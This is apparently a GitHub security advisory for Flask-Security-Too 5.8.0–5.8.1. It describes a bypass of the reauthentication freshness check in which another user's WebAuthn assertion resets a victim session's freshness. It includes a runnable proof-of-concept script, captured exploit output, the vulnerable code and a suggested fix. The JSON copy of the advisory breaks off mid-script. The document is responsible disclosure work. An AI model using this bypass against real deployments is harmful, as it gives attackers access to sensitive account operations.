    with alice_client.session_transaction() as sess:
        new_paa = sess["fs_paa"]
        post_attack_identity = sess.get("_user_id")
    print(f"  alice fs_uniquifier in session AFTER: {post_attack_identity!r}")
    print(f"  fs_paa BEFORE: {old_paa}")
    print(f"  fs_paa AFTER : {new_paa}")
    assert new_paa > old_paa, "fs_paa was NOT advanced -> not exploitable"
    assert post_attack_identity == alice_identity, "Session swapped users -- different bug"

    # Step 9: Confirm Alice's session now passes the freshness-gated action.
    step("Demonstrate impact: /sensitive (freshness-protected) accepted")
    r = alice_client.post(
        "/sensitive",
        json=dict(),
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    print(f"  /sensitive after cross-user verify status: {r.status_code}")
    print(f"  body: {r.json}")
    assert r.status_code == 200, "Freshness gate did NOT accept the cross-user proof"

    print("\n=== RESULT ===")
    print("Alice's session was reauthenticated using BOB's WebAuthn credential.")
    print("fs_paa advanced; freshness-gated endpoints accept Alice's session.")
    print("The session user is still Alice (this is reauth-freshness bypass,")
    print("not a login bypass) -- same trust-contract violation that")
    print("GHSA-97r5-pg8x-p63p fixed on the OAuth path.")


if __name__ == "__main__":
    main()

Verbatim run-time output against the published Flask-Security-Too==5.8.0 wheel ($ python poc.py):

flask-security version under test: 5.8.0

=== Bob registers his WebAuthn credential (attacker's own key) ===
  bob register status: 200

=== Alice registers her own WebAuthn credential (victim's key) ===
  alice register status: 200

=== Confirm /sensitive works while session is fresh ===
  /sensitive while fresh status: 200

=== Stale Alice's session (roll fs_paa back past FRESHNESS) ===
  alice fs_uniquifier in session: '408245d132bc4213a55606c46f40e038'
  alice fs_paa now: 1779582282.550872

=== Confirm /sensitive now requires reauth (401 reauth_required) ===
  /sensitive after stale status: 401
  body: {'meta': {'code': 401}, 'response': {'errors': ['You must reauthenticate to access this endpoint'], 'has_webauthn_verify_credential': True, 'oauth_enabled': False, 'oauth_providers': [], 'reauth_required': True, 'unified_signin_enabled': False}}

=== Alice fetches /wan-verify state_token ===
  wan_state acquired (truncated): eyJjaGFsbGVuZ2UiOiJzbUNDaXlfazJDcVF5ZFNRX2tQRWpWNWEyZDBBcGZhdGNwUTFhWERtUVBvIiwi...

=== Submit BOB's WebAuthn assertion to Alice's /wan-verify-response ===
  cross-user assertion status: 200
  body: {'meta': {'code': 200}, 'response': {'csrf_token': 'IjYzMDk1YjZjMTUwOTJlOWU4ZjAxNTQ1ZDI3MTM4YzA1OWJkYjZmZjci.ahJTWg.cWM261xwKEAFJXa3SK-ioz6pTro', 'user': {}}}
  alice fs_uniquifier in session AFTER: '408245d132bc4213a55606c46f40e038'
  fs_paa BEFORE: 1779582282.550872
  fs_paa AFTER : 1779585882.615287

=== Demonstrate impact: /sensitive (freshness-protected) accepted ===
  /sensitive after cross-user verify status: 200
  body: {'ok': True}

=== RESULT ===
Alice's session was reauthenticated using BOB's WebAuthn credential.
fs_paa advanced; freshness-gated endpoints accept Alice's session.
The session user is still Alice (this is reauth-freshness bypass,
not a login bypass) -- same trust-contract violation that
GHSA-97r5-pg8x-p63p fixed on the OAuth path.

Re-run against the published Flask-Security-Too==5.8.1 wheel (the release that shipped the GHSA-97r5-pg8x-p63p OAuth fix) is identical — the cross-user assertion is still accepted (200) and the freshness-gated endpoint is still reachable (200), confirming the parent fix did not extend to the WebAuthn path:

flask-security version under test: 5.8.1

=== Bob registers his WebAuthn credential (attacker's own key) ===
  bob register status: 200

=== Alice registers her own WebAuthn credential (victim's key) ===
  alice register status: 200

=== Confirm /sensitive works while session is fresh ===
  /sensitive while fresh status: 200

=== Stale Alice's session (roll fs_paa back past FRESHNESS) ===
  alice fs_uniquifier in session: 'c60d7c7a5a894575b396f8917c814e46'
  alice fs_paa now: 1779582300.361872

=== Confirm /sensitive now requires reauth (401 reauth_required) ===
  /sensitive after stale status: 401
  body: {'meta': {'code': 401}, 'response': {'errors': ['You must reauthenticate to access this endpoint'], 'has_webauthn_verify_credential': True, 'oauth_enabled': False, 'oauth_providers': [], 'reauth_required': True, 'unified_signin_enabled': False}}

=== Alice fetches /wan-verify state_token ===
  wan_state acquired (truncated): eyJjaGFsbGVuZ2UiOiJzbUNDaXlfazJDcVF5ZFNRX2tQRWpWNWEyZDBBcGZhdGNwUTFhWERtUVBvIiwi...

=== Submit BOB's WebAuthn assertion to Alice's /wan-verify-response ===
  cross-user assertion status: 200
  body: {'meta': {'code': 200}, 'response': {'csrf_token': 'ImJiZTQ2YWJhMmJlMDJlNWU2NDE2ODI1Njc0Nzc4ZGJhYzYzZDBhOWEi.ahJTbA.gEq7o8QoNq5t-UnjM9SdR_9Mqw4', 'user': {}}}
  alice fs_uniquifier in session AFTER: 'c60d7c7a5a894575b396f8917c814e46'
  fs_paa BEFORE: 1779582300.361872
  fs_paa AFTER : 1779585900.41935

=== Demonstrate impact: /sensitive (freshness-protected) accepted ===
  /sensitive after cross-user verify status: 200
  body: {'ok': True}

=== RESULT ===
Alice's session was reauthenticated using BOB's WebAuthn credential.
fs_paa advanced; freshness-gated endpoints accept Alice's session.
The session user is still Alice (this is reauth-freshness bypass,
not a login bypass) -- same trust-contract violation that
GHSA-97r5-pg8x-p63p fixed on the OAuth path.

The session user remains Alice (fs_uniquifier unchanged), but fs_paa advances and the freshness-gated endpoint accepts the request, even though the only cryptographic proof presented was Bob's WebAuthn signature.

Impact

  • Bypass of @auth_required(within=...) freshness gates on the WebAuthn reauthentication path. Any sensitive operation that relies on freshness (built-in: /change password change, /change-username, /wf-add to register a new WebAuthn credential, /us-setup to (re)configure unified signin, /mf-recovery-codes; app-defined: any business route the application protected with @auth_required(within=...)) is reachable from an attacker-held victim session.
  • Promotes any session-handoff or session-holder gadget from "victim still protected against sensitive ops" to "attacker reaches sensitive ops" using the attacker's own authenticator.
  • Same trust-contract violation that GHSA-97r5-pg8x-p63p (rated medium) was published to close on the OAuth path. The WebAuthn variant is reachable wherever the project's WebAuthn-verify is enabled.

Suggested fix

Add the equivalent of the OAuth fix in flask_security/webauthn.py:webauthn_verify_response so the cryptographically verified user must equal the currently authenticated session user before freshness is advanced:

if form.validate_on_submit():
    assert form.cred
    assert form.user
    if form.user != current_user._get_current_object():
        # Cryptographic proof was valid, but for a different account; do not
        # treat the current session as reauthenticated.
        m, c = get_message("WEBAUTHN_MISMATCH_USER_HANDLE")
        if _security._want_json(request):
            form.form_errors.append(m)
            return base_render_json(form, include_user=False)
        do_flash(m, c)
        return redirect(url_for_security("wan_verify"))

    after_this_request(view_commit)
    form.cred.lastuse_datetime = _security.datetime_factory()
    form.cred.sign_count = form.authentication_verification.new_sign_count
    _datastore.put(form.cred)
    session["fs_paa"] = time.time()
    ...

Equivalent pattern (and arguably tighter) is to add a bind into the state token issued by _signin_common when called from webauthn_verify (the caller already holds form.user = current_user):

def _signin_common(user, usage):
    ...
    state = {
        "challenge": challenge,
        "user_verification": uv,
        "user_id": user.fs_uniquifier if user else None,   # NEW
    }
    ...

and check it in WebAuthnSigninResponseForm.validate when the form is being used for verify (self.is_verify). Either fix shape closes the bug; the current_user-bind shape mirrors oauth_glue.py:211 more directly. The /wan-signin flow (is_verify == False) does not need to change — it is the primary-signin path where there is by design no current_user yet.

Fix PR

To follow on the advisory's temp private fork once it is provisioned.

Credit

Reported by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Flask-Security-Too"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.8.0"
            },
            {
              "last_affected": "5.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T23:43:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nFlask-Security-Too 5.8.0 and 5.8.1 mark a session as reauthentication-fresh after processing a WebAuthn assertion whose proven credential belongs to a different user than the currently authenticated session user. The check that `GHSA-97r5-pg8x-p63p` added on the OAuth reauthentication path (`user.email == current_user.email`) is missing on the WebAuthn reauthentication path. An attacker who owns any WebAuthn credential registered to any account on the deployment can satisfy a victim session\u0027s freshness gate by submitting their own WebAuthn proof into the victim session.\n\n### Affected versions\n\n`Flask-Security-Too` `\u003e= 5.8.0, \u003c= 5.8.1` (current `main` commit `5c44c76e33a20b67d02115e26d2da4bab18c094e`).\n`GHSA-97r5-pg8x-p63p` (published 2026-05-22) shipped its fix in 5.8.1 only on `oauth_glue.py`; `webauthn.py` was not touched and remains exploitable in 5.8.1.\n\n### Privilege required\n\nAuthenticated attacker on the same Flask-Security deployment, owning at least one WebAuthn credential of any usage (`first` / `secondary` / verify) that is registered to their own account. The attacker also needs the ability to drive HTTP requests against the WebAuthn endpoints inside the victim session (e.g. a separate gadget such as CSRF + cookie-based auth, an XSS that doesn\u0027t reach the cookie itself but can move the session through endpoints, or an existing session-fixation gadget; or the rarer but easier case of an attacker who has direct access to the victim\u0027s not-yet-fresh session via a shared browser). The point of the freshness gate is to defend exactly that \"I have the session but it isn\u0027t fresh enough to do sensitive things\" position, so any context in which freshness would have protected the victim is also the context in which this bypass matters.\n\n### Vulnerable code\n\n[`flask_security/webauthn.py:846-889`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask_security/webauthn.py#L846-L889) (commit\n`5c44c76e33a20b67d02115e26d2da4bab18c094e`):\n\n```python\n@auth_required(lambda: cv(\"API_ENABLED_METHODS\"))\ndef webauthn_verify_response(token: str) -\u003e ResponseValue:\n    form = t.cast(\n        WebAuthnSigninResponseForm, build_form_from_request(\"wan_signin_response_form\")\n    )\n\n    expired, invalid, state = check_and_get_token_status(\n        token, \"wan\", get_within_delta(\"WAN_SIGNIN_WITHIN\")\n    )\n    ...\n    form.challenge = state[\"challenge\"]\n    form.user_verification = state[\"user_verification\"]\n    form.is_secondary = False\n    form.is_verify = True\n\n    if form.validate_on_submit():\n        # update last use and sign count\n        after_this_request(view_commit)\n        assert form.cred\n        assert form.user\n        form.cred.lastuse_datetime = _security.datetime_factory()\n        form.cred.sign_count = form.authentication_verification.new_sign_count\n        _datastore.put(form.cred)\n\n        # verified - so set freshness time.\n        session[\"fs_paa\"] = time.time()\n        ...\n```\n\n[`flask_security/webauthn.py:276-308`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask_security/webauthn.py#L276-L308) (the form\u0027s `validate()`):\n\n```python\ndef validate(self, **kwargs: t.Any) -\u003e bool:\n    if not super().validate(**kwargs):\n        return False  # pragma: no cover\n    ...\n    try:\n        auth_cred = parse_authentication_credential_json(self.credential.data)\n    except (...):\n        ...\n        return False\n\n    # Look up credential Id (raw_id) and user. 7.2.6/7\n    self.cred = _datastore.find_webauthn(credential_id=auth_cred.raw_id)\n    ...\n    # This shouldn\u0027t be able to happen if datastore properly cascades delete\n    self.user = _datastore.find_user_from_webauthn(self.cred)\n```\n\n`self.user` is resolved from the attacker-controlled `credential_id` and is never compared to `current_user`. The state token issued by `_signin_common` ([`webauthn.py:589-622`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/webauthn.py#L589-L622)) carries only `{challenge, user_verification}`, so state tokens are not bound to any user and replay portably across sessions:\n\n```python\ndef _signin_common(user: UserMixin | None, usage: list[str]) -\u003e tuple[t.Any, str]:\n    ...\n    state = {\n        \"challenge\": challenge,\n        \"user_verification\": uv,\n    }\n    ...\n    state_token = t.cast(str, _security.wan_serializer.dumps(state))\n    return o_json, state_token\n```\n\nContrast with the patch in [`oauth_glue.py:211`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/oauth_glue.py#L211) that `GHSA-97r5-pg8x-p63p` shipped:\n\n```python\nnext_loc = session.pop(\"fs_oauth_next\", None)\nif user and user.email == current_user.email:\n    # verified - so set freshness time.\n    session[\"fs_paa\"] = time.time()\n```\n\nThat `user.email == current_user.email` clamp is the missing check on the WebAuthn side.\n\n### How input reaches the sink\n\n1. Attacker logs in to their own account and registers their own WebAuthn\n   credential (call it `cred_attacker`). They retain a copy of any valid\n   `navigator.credentials.get()` assertion JSON produced by their authenticator\n   (one signature is enough; can also be produced fresh on demand per request).\n2. Attacker holds, or gets, a victim session in a state where `fs_paa` is past\n   `FRESHNESS`. The victim is authenticated as themselves; the gate stops them\n   from invoking freshness-protected business endpoints (`/change`,\n   `/change-username`, `/wf-add`, `/us-setup`, anything decorated with\n   `@auth_required(within=...)`).\n3. The victim session calls `POST /wan-verify` and receives a `wan_state`\n   token. The state token has no user binding.\n4. Attacker submits an assertion that proves possession of `cred_attacker`,\n   inside the victim session, to `POST /wan-verify/\u003cwan_state\u003e`.\n5. `WebAuthnSigninResponseForm.validate` resolves `form.user` to the attacker\n   account from `find_user_from_webauthn(self.cred)`, signs/verifies the\n   assertion against the (attacker-controlled) public key it stored at\n   registration time, and returns `True`. The user-handle check on\n   `auth_cred.response.user_handle` (if present) compares against\n   `self.user.fs_webauthn_user_handle`, i.e. it compares attacker user-handle\n   to attacker user, so it passes trivially.\n6. `webauthn_verify_response` then writes `session[\"fs_paa\"] = time.time()`.\n   The session user is unchanged (still the victim) but the freshness clock\n   is reset by a cryptographic proof of the attacker\u0027s authenticator.\n7. Any subsequent `@auth_required(within=...)` endpoint now succeeds inside\n   the victim session.\n\n### End-to-end reproduction\n\nReproduction is an in-process Flask test client driving the published wheel (`pip install Flask-Security-Too==5.8.0`, also re-run against 5.8.1 since `GHSA-97r5-pg8x-p63p`\u0027s fix shipped with that release only touched `oauth_glue.py`). The full transcript is in the Proof of concept section below; here is the boot recipe:\n\n```bash\npython3.12 -m venv venv\nsource venv/bin/activate\npip install --quiet \u0027Flask-Security-Too==5.8.0\u0027 Flask-SQLAlchemy webauthn email-validator argon2_cffi\npython poc.py\n```\n\nCaptured run-time output (5.8.0 path):\n\n```\n=== Submit BOB\u0027s WebAuthn assertion to Alice\u0027s /wan-verify-response ===\n  cross-user assertion status: 200\n  alice fs_uniquifier in session AFTER: \u0027408245d132bc4213a55606c46f40e038\u0027   # still Alice\n  fs_paa BEFORE: 1779582282.550872\n  fs_paa AFTER : 1779585882.615287                                            # advanced\n=== Demonstrate impact: /sensitive (freshness-protected) accepted ===\n  /sensitive after cross-user verify status: 200\n```\n\nRe-run against 5.8.1 produces the same `200` on the cross-user assertion and the same `200` on the freshness-gated endpoint, confirming that the patch for `GHSA-97r5-pg8x-p63p` did not extend to the WebAuthn path.\n\n### Proof of concept\n\nMocked WebAuthn fixtures (`REG_DATA_UV`, `SIGNIN_DATA_UV`, `REG_DATA1`, `SIGNIN_DATA1`) and `HackWebauthnUtil` are lifted verbatim from the project\u0027s own test suite ([`tests/test_webauthn.py`](https://github.com/pallets-eco/flask security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/tests/test_webauthn.py)) which pins the challenge so a recorded assertion blob can be replayed; this does not bypass any cryptographic check inside `webauthn.verify_authentication_response`, it just substitutes the test-suite\u0027s own `WebauthnUtil` so the recorded blobs can be exercised against a running app instance. In a real-world deployment the attacker uses their own authenticator producing fresh assertions per request.\n\n`poc.py` (complete, runnable; the `REG_DATA*` / `SIGNIN_DATA*` fixtures are the project\u0027s own `tests/test_webauthn.py` blobs, reproduced in full):\n\n```python\n\"\"\"\nE2E PoC for Flask-Security-Too 5.8.0 WebAuthn reauthentication freshness bypass\nvia cross-user assertion.\n\nSibling of GHSA-97r5-pg8x-p63p (OAuth path, fixed in 5.8.1). The WebAuthn\nverify path (`webauthn.py:847-889 webauthn_verify_response` +\n`webauthn.py:276-366 WebAuthnSigninResponseForm.validate`) sets\n`session[\"fs_paa\"] = time.time()` whenever a syntactically valid WebAuthn\nassertion completes, without checking that the assertion\u0027s resolved user\nequals the current session user.\n\nSetup:\n  - Alice and Bob both registered as users.\n  - Each registers their own WebAuthn credential (REG_DATA_UV for Alice as\n    primary-usage key, REG_DATA1 for Bob as primary-usage key).\n  - Alice authenticates via password. Her freshness timestamp is rolled back\n    to simulate a stale session (the standard reauthn precondition).\n  - Alice\u0027s session attempts /wan-verify and gets a state_token. The state\n    token only contains {challenge, user_verification} -- no user binding.\n  - Alice\u0027s session POSTs to /wan-verify/\u003cstate_token\u003e with BOB\u0027s WebAuthn\n    credential signature (SIGNIN_DATA1).\n  - validate() resolves form.user from Bob\u0027s credential_id without checking\n    against current_user. webauthn_verify_response writes\n    session[\"fs_paa\"] = time.time().\n  - Alice now passes the freshness gate using a proof of Bob\u0027s credential.\n\nOutcome: a freshness-protected endpoint (/fresh, /change-username, etc.)\nresponds 200 for Alice\u0027s session even though the only credential proof\nprovided was Bob\u0027s. This is the same trust-contract violation that\nGHSA-97r5-pg8x-p63p patched on the OAuth path.\n\"\"\"\n\nimport copy\nimport datetime as dt\nimport json\nimport re\nimport time\nfrom datetime import timedelta\n\nfrom flask import Flask, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_security import (\n    Security,\n    SQLAlchemyUserDatastore,\n    auth_required,\n    hash_password,\n)\nfrom flask_security.models import fsqla_v3 as fsqla\nfrom flask_security.webauthn_util import WebauthnUtil\n\n# Fixtures lifted verbatim from tests/test_webauthn.py\nCHALLENGE = \"smCCiy_k2CqQydSQ_kPEjV5a2d0ApfatcpQ1aXDmQPo\"\n\nREG_DATA_UV = {\n    \"id\": \"s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy\",\n    \"rawId\": \"s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy\",\n    \"type\": \"public-key\",\n    \"response\": {\n        \"attestationObject\": \"o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVjC\"\n        \"SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2PFAAAABAAAAA\"\n        \"AAAAAAAAAAAAAAAAAAMLN8WaXxstGR_rEpH8SLIAocG5MPztIzhbWXi\"\n        \"dS11DBGvGrRtaBLJDaphSQn4CmRsqUBAgMmIAEhWCCzfFml8bLRkf\"\n        \"6xKR_EUnaoI333MuxRlv5-LwojDibdTyJYIFMifFwn-RfkDDgsTHF\"\n        \"jWgE6bld-Jc4nhFMTkQja9P8IoWtjcmVkUHJvdGVjdAI\",\n        \"clientDataJSON\": \"eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzI\"\n        \"xRFEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlY\"\n        \"UmpjRkV4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2Nhb\"\n        \"Ghvc3Q6NTAwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0\",\n        \"transports\": [\"nfc\", \"usb\"],\n    },\n    \"extensions\": \u0027{\"credProps\":{\"rk\":true}}\u0027,\n}\nSIGNIN_DATA_UV = {\n    \"id\": \"s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy\",\n    \"rawId\": \"s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy\",\n    \"type\": \"public-key\",\n    \"response\": {\n        \"authenticatorData\": \"SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MFAAAABQ==\",\n        \"clientDataJSON\": \"eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy\"\n        \"bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4W\"\n        \"VZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAwMSI\"\n        \"sImNyb3NzT3JpZ2luIjpmYWxzZX0=\",\n        \"signature\": \"MEUCIQDR0m9Ob4nqVGiAPUf1Tu5XohDh2frl1LJ6G41GURlUIgIgKUPfkw\"\n        \"AjP2863L2nDhcR2EKqoGEQLqlQ5xymZstyO6o=\",\n    },\n    \"assertionClientExtensions\": \"{}\",\n}\nREG_DATA1 = {\n    \"id\": \"wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc\",\n    \"rawId\": \"wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc\",\n    \"type\": \"public-key\",\n    \"response\": {\n        \"attestationObject\": \"o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVikSZYN5YgOjGh0NB\"\n        \"cPZHZgW4_krrmihjLHmVzzuoMdl2NFAAAAAQAAAAAAAAAAAAAAAAAAA\"\n        \"AAAIMFFKjTo2N-XXE_r6YpGaWcfk_dTYyHuD6q1fI-42DznpQECAy\"\n        \"YgASFYIFRipoWMEiDuCtLUvSlqCFZBqxvUuNqZKavlWgvN2BK8Il\"\n        \"ggLOV4eez9k0det5oIZGyKanGkmWa0hygnjjFmf8Rep6c\",\n        \"clientDataJSON\": \"eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzIxR\"\n        \"FEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRk\"\n        \"V4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NT\"\n        \"AwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0\",\n        \"transports\": [\"usb\"],\n    },\n    \"extensions\": \u0027{\"credProps\": {}}\u0027,\n}\nSIGNIN_DATA1 = {\n    \"id\": \"wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc\",\n    \"rawId\": \"wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc\",\n    \"type\": \"public-key\",\n    \"response\": {\n        \"authenticatorData\": \"SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MBAAAABQ==\",\n        \"clientDataJSON\": \"eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy\"\n        \"bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4\"\n        \"WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAw\"\n        \"MSIsImNyb3NzT3JpZ2luIjpmYWxzZX0=\",\n        \"signature\": \"MEUCIH5VdRXxfnoxfrVk72gvWAn91QH-l2UrIohk5YOWi9XpAiEAn6f9oHtFS\"\n        \"68HVf6K_Ku0L33C0sID2HzpJWSiTNgJlbU=\",\n    },\n    \"assertionClientExtensions\": \"{}\",\n}\n\n\nclass HackWebauthnUtil(WebauthnUtil):\n    \"\"\"Mirrors tests/test_webauthn.py: pins the challenge to the value embedded\n    in REG_DATA / SIGNIN_DATA so the cryptographic verification accepts the\n    pre-recorded blobs. Standard PoC technique used by the project\u0027s own test\n    suite. Does NOT change the vulnerable code path.\"\"\"\n\n    def generate_challenge(self, nbytes=None):\n        return CHALLENGE\n\n    def origin(self):\n        return \"http://localhost:5001\"\n\n\ndef build_app():\n    app = Flask(__name__)\n    app.config[\"SECRET_KEY\"] = \"poc-secret\"\n    app.config[\"SECURITY_PASSWORD_SALT\"] = \"poc-salt\"\n    app.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///:memory:\"\n    app.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n    app.config[\"WTF_CSRF_ENABLED\"] = False\n    app.config[\"SERVER_NAME\"] = \"localhost:5001\"\n\n    app.config[\"SECURITY_WEBAUTHN\"] = True\n    app.config[\"SECURITY_WAN_ALLOW_AS_FIRST_FACTOR\"] = True\n    app.config[\"SECURITY_WAN_ALLOW_AS_VERIFY\"] = [\"first\", \"secondary\"]\n    app.config[\"SECURITY_WAN_ALLOW_AS_MULTI_FACTOR\"] = True\n    app.config[\"SECURITY_FRESHNESS\"] = timedelta(minutes=1)\n    app.config[\"SECURITY_FRESHNESS_GRACE_PERIOD\"] = timedelta(seconds=0)\n    app.config[\"SECURITY_CHANGEABLE\"] = True\n    app.config[\"SECURITY_USERNAME_ENABLE\"] = False\n    app.config[\"SECURITY_FRESHNESS\"] = timedelta(seconds=10)\n\n    db = SQLAlchemy(app)\n    fsqla.FsModels.set_db_info(db)\n\n    class Role(db.Model, fsqla.FsRoleMixin):\n        pass\n\n    class WebAuthn(db.Model, fsqla.FsWebAuthnMixin):\n        pass\n\n    class User(db.Model, fsqla.FsUserMixin):\n        pass\n\n    ds = SQLAlchemyUserDatastore(db, User, Role, WebAuthn)\n    app.security = Security(\n        app, datastore=ds, webauthn_util_cls=HackWebauthnUtil\n    )\n\n    # A representative freshness-protected business endpoint. Same gate the\n    # built-in /change, /change-username, /wf-add etc. use.\n    @app.route(\"/sensitive\", methods=[\"POST\"])\n    @auth_required(\n        within=lambda: app.config[\"SECURITY_FRESHNESS\"],\n        grace=lambda: app.config[\"SECURITY_FRESHNESS_GRACE_PERIOD\"],\n    )\n    def sensitive():\n        return jsonify({\"ok\": True}), 200\n\n    with app.app_context():\n        db.create_all()\n        ds.create_user(\n            email=\"alice@example.com\",\n            password=hash_password(\"alice-password\"),\n            confirmed_at=dt.datetime.now(dt.timezone.utc),\n        )\n        ds.create_user(\n            email=\"bob@example.com\",\n            password=hash_password(\"bob-password\"),\n            confirmed_at=dt.datetime.now(dt.timezone.utc),\n        )\n        db.session.commit()\n\n    return app\n\n\ndef _register_start_json(client, name, usage=\"first\"):\n    resp = client.post(\"/wan-register\", json=dict(name=name, usage=usage))\n    assert resp.status_code == 200, resp.data\n    return f\u0027/wan-register/{resp.json[\"response\"][\"wan_state\"]}\u0027\n\n\ndef login_password(client, email, password):\n    resp = client.post(\n        \"/login\",\n        json=dict(email=email, password=password),\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    assert resp.status_code == 200, resp.data\n    return resp\n\n\ndef logout(client):\n    return client.post(\n        \"/logout\",\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n\n\ndef step(label):\n    print(f\"\\n=== {label} ===\")\n\n\ndef main():\n    app = build_app()\n\n    print(f\"flask-security version under test: {__import__(\u0027flask_security\u0027).__version__}\")\n\n    # Step 1: Bob logs in, registers his WebAuthn credential, logs out\n    step(\"Bob registers his WebAuthn credential (attacker\u0027s own key)\")\n    bob_client = app.test_client()\n    login_password(bob_client, \"bob@example.com\", \"bob-password\")\n    url = _register_start_json(bob_client, name=\"bobkey\", usage=\"first\")\n    r = bob_client.post(url, json=dict(credential=json.dumps(REG_DATA1)))\n    assert r.status_code == 200, r.data\n    print(f\"  bob register status: {r.status_code}\")\n    logout(bob_client)\n\n    # Step 2: Alice logs in, registers her own WebAuthn credential, stays logged in\n    step(\"Alice registers her own WebAuthn credential (victim\u0027s key)\")\n    alice_client = app.test_client()\n    login_password(alice_client, \"alice@example.com\", \"alice-password\")\n    url = _register_start_json(alice_client, name=\"alicekey\", usage=\"first\")\n    r = alice_client.post(url, json=dict(credential=json.dumps(REG_DATA_UV)))\n    assert r.status_code == 200, r.data\n    print(f\"  alice register status: {r.status_code}\")\n\n    # Step 3: Confirm Alice\u0027s session can hit /sensitive while fresh (sanity)\n    step(\"Confirm /sensitive works while session is fresh\")\n    r = alice_client.post(\n        \"/sensitive\",\n        json=dict(),\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    print(f\"  /sensitive while fresh status: {r.status_code}\")\n    assert r.status_code == 200, r.data\n\n    # Step 4: Roll Alice\u0027s fs_paa back to simulate a stale session\n    step(\"Stale Alice\u0027s session (roll fs_paa back past FRESHNESS)\")\n    with alice_client.session_transaction() as sess:\n        old_paa = sess[\"fs_paa\"] - 3600\n        sess[\"fs_paa\"] = old_paa\n        sess.pop(\"fs_gexp\", None)\n        alice_identity = sess.get(\"_user_id\")\n    print(f\"  alice fs_uniquifier in session: {alice_identity!r}\")\n    print(f\"  alice fs_paa now: {old_paa}\")\n\n    # Step 5: Confirm freshness gate now denies Alice\n    step(\"Confirm /sensitive now requires reauth (401 reauth_required)\")\n    r = alice_client.post(\n        \"/sensitive\",\n        json=dict(),\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    print(f\"  /sensitive after stale status: {r.status_code}\")\n    print(f\"  body: {r.json}\")\n    assert r.status_code == 401\n    assert r.json[\"response\"][\"reauth_required\"] is True\n\n    # Step 6: Alice\u0027s session calls /wan-verify -\u003e gets state_token.\n    # The state_token contains {challenge, user_verification} only -- no user\n    # binding -- and the WebAuthn challenge it embeds is the pinned constant\n    # CHALLENGE because HackWebauthnUtil overrides generate_challenge. That\n    # matches the challenge baked into Bob\u0027s pre-recorded SIGNIN_DATA1.\n    step(\"Alice fetches /wan-verify state_token\")\n    r = alice_client.post(\n        \"/wan-verify\",\n        json=dict(),\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    assert r.status_code == 200, r.data\n    wan_state = r.json[\"response\"][\"wan_state\"]\n    print(f\"  wan_state acquired (truncated): {wan_state[:80]}...\")\n\n    # Step 7: Alice\u0027s session POSTs Bob\u0027s SIGNIN_DATA to /wan-verify/\u003cstate_token\u003e.\n    # WebAuthnSigninResponseForm.validate() resolves form.user from\n    # SIGNIN_DATA1.id == Bob\u0027s credential id, and never checks form.user ==\n    # current_user. webauthn_verify_response then writes\n    # session[\"fs_paa\"] = 